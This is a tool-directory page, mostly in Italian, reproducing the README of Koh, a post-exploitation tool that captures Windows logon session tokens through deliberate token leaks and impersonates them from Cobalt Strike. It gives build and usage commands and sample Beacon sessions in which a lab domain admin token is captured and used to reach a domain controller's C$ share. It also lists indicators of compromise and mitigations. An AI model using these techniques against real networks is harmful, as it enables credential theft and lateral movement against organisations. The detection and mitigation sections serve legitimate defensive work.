Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Koh — Cattura token di sessione di accesso di Windows tramite perdita di token per consentire il riutilizzo delle credenziali e l'impersonificazione, con integrazione Cobalt Strike BOF per il furto di token post-sfruttamento. | Kitploit
Strumenti/GitHubGitHub/ghostpack/koh
Post-ExploitAutenticazioneRed Teaming
GitHubghostpack/koh

Koh

Cattura token di sessione di accesso di Windows tramite perdita di token per consentire il riutilizzo delle credenziali e l'impersonificazione, con integrazione Cobalt Strike BOF per il furto di token post-sfruttamento.

Vedi Repository
522674 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Koh


Koh è un set di strumenti in C# e Beacon Object File (BOF) che permette la cattura di materiali di credenziali utente tramite una deliberata perdita di token/sessioni di accesso.

Parte del codice è stata ispirata dal progetto Internal-Monologue (senza licenza) di Elad Shamir, oltre che da KB180548. Per capire perché ciò è possibile e l'approccio di Koh, vedere la sezione Background Tecnico di questo README.

Per una spiegazione più approfondita della motivazione dietro Koh e del suo approccio, vedere il post Koh: The Token Stealer.

@harmj0y è l'autore principale di questo codice. @tifkin_ ha contribuito all'approccio, all'implementazione BOF e ad alcuni meccanismi relativi ai token.

Koh è concesso in licenza sotto la licenza BSD 3-Clause.

Table of Contents

  • Koh
    • Table of Contents
    • Koh Server
      • Compilation
      • Usage
      • Example - Listing Logon Sessions
      • Example - Monitoring for Logon Sessions (with group SID filtering)
    • Koh Client
      • Usage
      • Group SID Filtering
      • Example - Capture
    • Technical Background
      • Why This Is Possible
      • Approach
        • Possible Approaches
        • Our Approach
        • Advantages/Disadvantages Versus Traditional Credential Extraction
          • Advantages
          • Disadvantages
    • The Inline Shenanigans Bug
    • IOCs
    • Mitigations
    • TODO

Koh Server

Il "server" di Koh cattura i token e utilizza named pipe per il controllo/la comunicazione. Può essere impacchettato in Donut e iniettato in qualsiasi processo ad alta integrità SYSTEM (vedere The Inline Shenanigans Bug).

Compilation

Non abbiamo intenzione di rilasciare binari per Koh, quindi dovrai compilarlo da solo :)

Koh è stato compilato per .NET 4.7.2 ed è compatibile con Visual Studio 2019 Community Edition. Basta aprire il file .sln del progetto, scegliere "Release" e compilare. L'assembly Koh.exe e il PIC Koh.bin costruito con Donut verranno generati nella directory principale. Il blob Donut è compatibile sia con x86 che con x64 ed è compilato con le seguenti opzioni utilizzando la versione 0.9.3 di Donut in ./Misc/Donut.exe:``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

root@kitploit:~
La licenza di Donut è BSD 3-clause.

### Utilizzo
   
   `Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`

* **list** - elenca le sessioni di accesso (non di rete)
* **monitor** - monitora le sessioni di accesso nuove/univoche (non di rete)
* **capture** - acquisisce un token univoco per ogni SID trovato per le nuove sessioni di accesso (non di rete)

I Group SID possono essere forniti anche tramite riga di comando, in modo che Koh monitori/acquisisca solo le sessioni di accesso che contengono i Group SID specificati nelle informazioni del token negoziato.

### Esempio - Elenco delle sessioni di accesso```
C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)
    

Esempio - Monitoraggio delle sessioni di accesso (con filtro SID di gruppo)

Elenca solo i risultati che hanno il SID del gruppo domain admins (-512) nelle loro informazioni sul token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

root@kitploit:~
## Koh Client

Il client attualmente utilizzabile è un Beacon Object File in `.\Clients\BOF\`. Carica lo script aggressore `.\Clients\BOF\KohClient.cna` nel tuo client Cobalt Strike per abilitare il controllo BOF del server Koh. L'unico requisito per utilizzare i token catturati è **SeImpersonatePrivilege**. La named pipe di comunicazione ha un DACL "Everyone" ma utilizza una password condivisa di base (super sicura).

Per compilare da zero su Linux usando Mingw, consulta lo script `.\Clients\BOF\build.sh`. L'unico requisito (almeno su Debian) dovrebbe essere `apt-get install gcc-mingw-w64`

### Utilizzo```
beacon> help koh
koh list              - lists captured tokens
koh groups LUID       - lists the group SIDs for a captured token
koh filter list       - lists the group SIDs used for capture filtering
koh filter add SID    - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset      - resets the SID group capture filter
koh impersonate LUID  - impersonates the captured token with the give LUID
koh release all       - releases all captured tokens
koh release LUID      - releases the captured token for the specified LUID
koh exit              - signals the Koh server to exit

Filtraggio SID di Gruppo

Il comando koh filter add S-1-5-21-<DOMAIN>-<RID> catturerà solo i token che contengono il SID di gruppo fornito. Questo comando può essere eseguito più volte per aggiungere ulteriori SID da catturare. Ciò può aiutare a prevenire possibili problemi di stabilità dovuti a un gran numero di perdite di token.

Esempio - Cattura

"Cattura" sessioni di accesso negoziando token utilizzabili per ogni nuova sessione.

Server:``` C:\Temp>Koh.exe capture


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: capture

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 81492692 (hToken: 976)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
root@kitploit:~
BOF client:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:

Username     : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID         : 67556826
CaptureTime  : 6/21/2022 1:24:42 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1676720

Username     : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID         : 67568439
CaptureTime  : 6/21/2022 1:24:50 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1677765

Username     : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID         : 1677733
CaptureTime  : 6/21/2022 1:23:10 PM
LogonType    : Interactive
AuthPackage  : Kerberos
CredUserName : [email protected]
Origin LUID  : 999

beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
[*] Enabled SeImpersonatePrivilege

[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost

[+] received output:
[*] Impersonation succeeded. Duplicating token.

[+] received output:
[*] Impersonated token successfully duplicated.

[+] Impersonated THESHIRE\da

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
 Volume in drive \\dc.theshire.local\C$ has no label.
 Volume Serial Number is A4FF-7240

 Directory of \\dc.theshire.local\C$

01/04/2021  11:43 AM    <DIR>          inetpub
05/30/2019  03:08 PM    <DIR>          PerfLogs
05/18/2022  01:27 PM    <DIR>          Program Files
04/15/2021  09:44 AM    <DIR>          Program Files (x86)
03/20/2020  12:28 PM    <DIR>          RBFG
10/20/2021  01:14 PM    <DIR>          Temp
05/23/2022  06:30 PM    <DIR>          tools
03/11/2022  04:10 PM    <DIR>          Users
06/21/2022  01:30 PM    <DIR>          Windows
               0 File(s)              0 bytes
               9 Dir(s)  40,504,201,216 bytes free

Technical Background

Quando una nuova sessione di accesso viene stabilita su un sistema, un nuovo token per la sessione di accesso viene creato da LSASS utilizzando la chiamata API NtCreateToken() e restituito dal chiamante di LsaLogonUser(). Questo aumenta il ReferenceCount campo della struttura kernel della sessione di accesso. Quando questo ReferenceCount raggiunge 0, la sessione di accesso viene distrutta. A causa delle informazioni descritte nella sezione Why This Is Possible, i sistemi Windows NON rilasceranno una sessione di accesso se esiste ancora un handle di token ad essa (e quindi il reference count != 0).

Quindi se possiamo ottenere un handle a una sessione di accesso appena creata tramite un token, possiamo mantenere aperta quella sessione di accesso e successivamente impersonare quel token per utilizzare eventuali credenziali memorizzate nella cache che contiene.

Why This Is Possible

Secondo questo post di un ingegnere Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

root@kitploit:~
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) è stato applicato a Windows 7/Server 2008, quindi questo approccio dovrebbe essere efficace per tutto tranne che per i sistemi Server 2003.

## Approccio

Enumerare le sessioni di accesso è facile (da un contesto elevato) utilizzando l'API Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Ciò che è più difficile è prendere un identificatore specifico di sessione di accesso (LUID) e _in qualche modo_ ottenere un token utilizzabile collegato a quella sessione.

### Approcci possibili

Abbiamo ideato alcuni modi per a) mantenere aperte le sessioni di accesso e b) abusarne per l'impersonificazione di token/uso di credenziali memorizzate nella cache.

1. Il primo approccio consisteva nell'usare **NtCreateToken()** che permette di specificare un ID di sessione di accesso (LUID) per creare un nuovo token.
   * Sfortunatamente, è necessario **SeCreateTokenPrivilege** che tradizionalmente è posseduto solo da LSASS, il che significa che bisogna rubare il token di LSASS, il che non è ideale.
   * Una possibilità era aggiungere **SeCreateTokenPrivilege** a NT AUTHORITY\SYSTEM tramite modifica dei criteri LSA, ma ciò richiederebbe un riavvio/una nuova sessione di accesso per esprimere i nuovi diritti utente.
2. Puoi anche concentrarti solo sulle sessioni di accesso RemoteInteractive usando **WTSQueryUserToken()** per ottenere token da clonare per nuove sessioni desktop.
   * Questo è l'approccio apparentemente [dimostrato da Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
   * Sfortunatamente questo ignora le sessioni locali appena create e le sessioni in arrivo create da strumenti come PSEXEC.
3. In una nuova sessione di accesso, aprire un handle per ogni processo raggiungibile ed enumerare tutti gli handle esistenti, clonando il token collegato alla nuova sessione di accesso.
   * Ciò richiede l'apertura di molti processi/handle, il che appare molto sospetto.
4. L'approccio **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** descritto di seguito, che è quello che abbiamo adottato.

### Il nostro approccio

La chiamata SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) ha un campo **pvLogonID** che afferma:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 

Nota: Per utilizzare un LUID di sessione di logon con AcquireCredentialsHandle() è necessario disporre di SeTcbPrivilege, tuttavia questo è solitamente più facile da ottenere rispetto a SeCreateTokenPrivilege.

Utilizzare questa chiamata specificando un ID/LUID di sessione di logon sembra aumentare il ReferenceCount per la struttura della sessione di logon, impedendone il rilascio. Tuttavia, ci troviamo di fronte a un altro problema: data una sessione di logon "persa"/mantenuta aperta, come ottenere un token utilizzabile da essa? WTSQueryUserToken() funziona solo con le sessioni desktop e non esiste un'API userland che siamo riusciti a trovare per mappare un LUID a un token utilizzabile.

Tuttavia possiamo utilizzare due funzioni SSPI aggiuntive, InitializeSecurityContext() e AcceptSecurityContext() per agire come client e server verso noi stessi, negoziando un nuovo contesto di sicurezza che possiamo poi utilizzare con QuerySecurityContextToken() per ottenere un token utilizzabile. Questo è stato documentato in KB180548 (mirrorato da PKISolutions qui) ai fini della validazione delle credenziali. È un approccio simile a Internal-Monologue, tranne per il fatto che completiamo l'intero processo di handshake, produciamo un token e lo conserviamo per un uso successivo.

Il filtraggio può quindi essere effettuato sul token stesso, tramite CheckTokenMembership() o GetTokenInformation(). Ad esempio, potremmo rilasciare tutti i token tranne quelli appartenenti agli amministratori di dominio o a gruppi specifici che vogliamo colpire.

Vantaggi/Svantaggi Rispetto all'Estrazione Tradizionale delle Credenziali

Vantaggi

  • Funziona sia per i logon locali che per quelli in entrata (non di rete).
  • Funziona per le sessioni in entrata create tramite Kerberos e NTLM.
  • Non richiede l'apertura di un handle verso più processi.
  • Non crea un nuovo evento di logon o una nuova sessione di logon.
  • Non crea log di eventi aggiuntivi sul DC al di fuori del normale comportamento di rinnovo dei ticket di sistema (credo?).
  • Nessuna durata predefinita sui token (credo?), quindi l'accesso dovrebbe funzionare finché le credenziali dell'account catturato non cambiano e il sistema non viene riavviato.
  • Riutilizza l'autenticazione legittima catturata su un sistema, quindi dovrebbe "mimetizzarsi con il rumore" ragionevolmente bene.

Svantaggi

  • L'accesso è utilizzabile solo finché il sistema non viene riavviato.
  • Non consente di riutilizzare l'accesso su altri sistemi
    • Tuttavia, è ancora possibile estrarre ticket/credenziali esistenti dalla sessione di logon persa.
  • Può causare instabilità se un gran numero di sessioni viene perso (sebbene ciò possa essere mitigato con il filtraggio dei SID dei gruppi di token e limitando il numero massimo di token catturati, di default 1000 qui).

Il Bug degli Inline Shenanigans

Codifico da un bel po' di tempo. Questo è uno dei bug più strani e frustranti da rintracciare che abbia incontrato da un po' - per favore aiutami lol.

  • Quando l'assembly Koh.exe viene eseguito da un contesto elevato (ma non SYSTEM), tutto funziona correttamente.

  • Se l'assembly Koh.exe viene eseguito tramite il processo fork&run di Cobalt Strike Beacon con execute-assembly da un contesto elevato (ma non SYSTEM), tutto funziona correttamente.

  • Se l'assembly Koh.exe viene eseguito inline (tramite InlineExecute-Assembly o Inject-Assembly) per un Cobalt Strike Beacon in esecuzione in un contesto SYSTEM, tutto funziona correttamente.

  • Tuttavia, se l'assembly Koh.exe viene eseguito inline (tramite InlineExecute-Assembly o Inject-Assembly) per un Cobalt Strike Beacon in esecuzione in un contesto elevato, ma non SYSTEM, la chiamata a AcquireCredentialsHandle() fallisce con SEC_E_NO_CREDENTIALS e tutto fallisce ¯\_(ツ)_/¯

Abbiamo provato (senza successo):

  • Spostare tutto su un thread separato, specificando un apartment STA.
  • Cercare di diagnosticare stranezze RPC (c'è ancora da investigare).
  • Usare DuplicateTokenEx e SetThreadToken invece di ImpersonateLoggedOnUser.
  • Verificare di avere il corretto SeTcbPrivilege subito prima della chiamata a AcquireCredentialsHandle (ce l'abbiamo).

A tutti gli effetti, il contesto del thread subito prima della chiamata a AcquireCredentialsHandle funziona in questo contesto, ma il risultato dà errore. E non abbiamo idea del perché.

Se hai un'idea di cosa potrebbe essere, faccelo sapere! E se vuoi provare a giocare con un assembly più semplice, dai un'occhiata al repository AcquireCredentialsHandle sul mio GitHub per la risoluzione dei problemi.

IOCs

Per citare @tifkin_ "Tutto è furtivo finché qualcuno non lo cerca." Anche se l'approccio di Koh è leggermente diverso dagli altri, ci sono comunque IOCs che possono essere utilizzati per rilevarlo.

Il GUID unico TypeLib per il collector C# di Koh è 4d5350c8-7f8c-47cf-8cde-c752018af17e come dettagliato nella regola Yara Koh.yar in questo repository. Se non viene modificato in fase di compilazione, dovrebbe essere un indicatore ad alta fedeltà del server Koh.

Quando il server Koh si avvia, apre una named pipe chiamata \\.\pipe\imposecost che rimane aperta finché Koh è in esecuzione. La password predefinita utilizzata per la comunicazione Koh è password, quindi inviare password list a qualsiasi pipe \\.\pipe\imposecost permetterà di confermare se Koh è effettivamente in esecuzione. La pipe di impersonificazione predefinita utilizzata è \\.pipe\imposingcost.

Se Koh si avvia in un contesto elevato ma non come SYSTEM, viene eseguito un clone di handle/token di winlogon per effettuare un'elevazione di tipo getsystem.

Sono certo che nessun attaccante modificherà gli indicatori menzionati sopra.

Probabilmente ci sono alcuni artefatti RPC per la cattura del token che speriamo di investigare. Aggiorneremo questa sezione del README se troveremo ulteriori artefatti di rilevamento in questo senso. L'hooking di alcune delle API possibilmente non comuni utilizzate da Koh (LsaEnumerateLogonSessions o le specifiche AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, in particolare usando un LUID in AcquireCredentialsHandle) potrebbe essere esplorato per l'efficacia, ma ahimè, non sono un EDR.

Mitigazioni

Dopo aver pubblicato il post Koh: The Token Stealer, ho avuto un ottimo scambio tra @cnotin e @SteveSyfuhs su ciò che alla fine si è rivelato essere una mitigazione parziale per questo approccio.

La patch KB2871997 ha introdotto l'impostazione TokenLeakDetectDelaySecs, che attiva la "...cancellazione di eventuali credenziali degli utenti disconnessi...". Per impostazione predefinita, infatti, i membri del "Protected Users Security Group" hanno questo comportamento imposto indipendentemente dall'impostazione del registro. Tuttavia, impostando questo valore su un numero diverso da zero, tutte le credenziali verranno cancellate dalla memoria quando un utente si disconnette. In particolare, come menziona Steve: Se impostato, avvierà un timer sull'evento di disconnessione *interattivo* di una sessione e, allo scadere, cancellerà tutto ciò che è ancora collegato ad essa. Disattivato per impostazione predefinita. Gli utenti protetti sempre attivi, con un default di 30s.

Ci sono due cose importanti da notare nel paragrafo precedente: "evento di disconnessione" e "interattivo". Ciò può portare a situazioni in cui le credenziali di un utente NON vengono cancellate:

  • Se una credenziale è presente tramite uno spawn di tipo runas o runas /netonly o simile, non c'è alcun evento di disconnessione quando il processo si ferma e la credenziale/token può ancora essere catturata.
  • Se la credenziale è presente tramite una sessione RDP in cui l'utente si disconnette senza uscire, non c'è alcun evento di disconnessione quando il processo si ferma e la credenziale/token può ancora essere catturata.

(Devo testare altre situazioni di logon come NetworkClearText.)

Tuttavia, se l'utente è nel "Protected Users Security Group" o TokenLeakDetectDelaySecs è diverso da zero, e l'utente si disconnette attivamente da una sessione interattiva o interattiva remota (RDP), le credenziali verranno cancellate. Devo programmare Koh per gestire meglio questi tipi specifici di situazioni.

TL;DR dovresti davvero usare il "Protected Users Security Group" per gli utenti sensibili e verificare se impostare TokenLeakDetectDelaySecs su un valore come 30 è fattibile nel tuo ambiente.

TODO

  • Ulteriori test in laboratorio e sul campo. Possibili preoccupazioni:
    • Stabilità in ambienti di produzione, in particolare la perdita intenzionale di token che causa problemi su server ad alto traffico
    • Durata effettiva totale del token
  • Client "remoto" che consenta il monitoraggio attraverso la named pipe di Koh in remoto
  • Implementare più client (PowerShell, C#, C++, ecc.)
  • Risolvere il Bug degli Inline Shenanigans
  • Gestire meglio le situazioni relative a "Protected Users"/TokenLeakDetectDelaySecs
Scarica lo strumento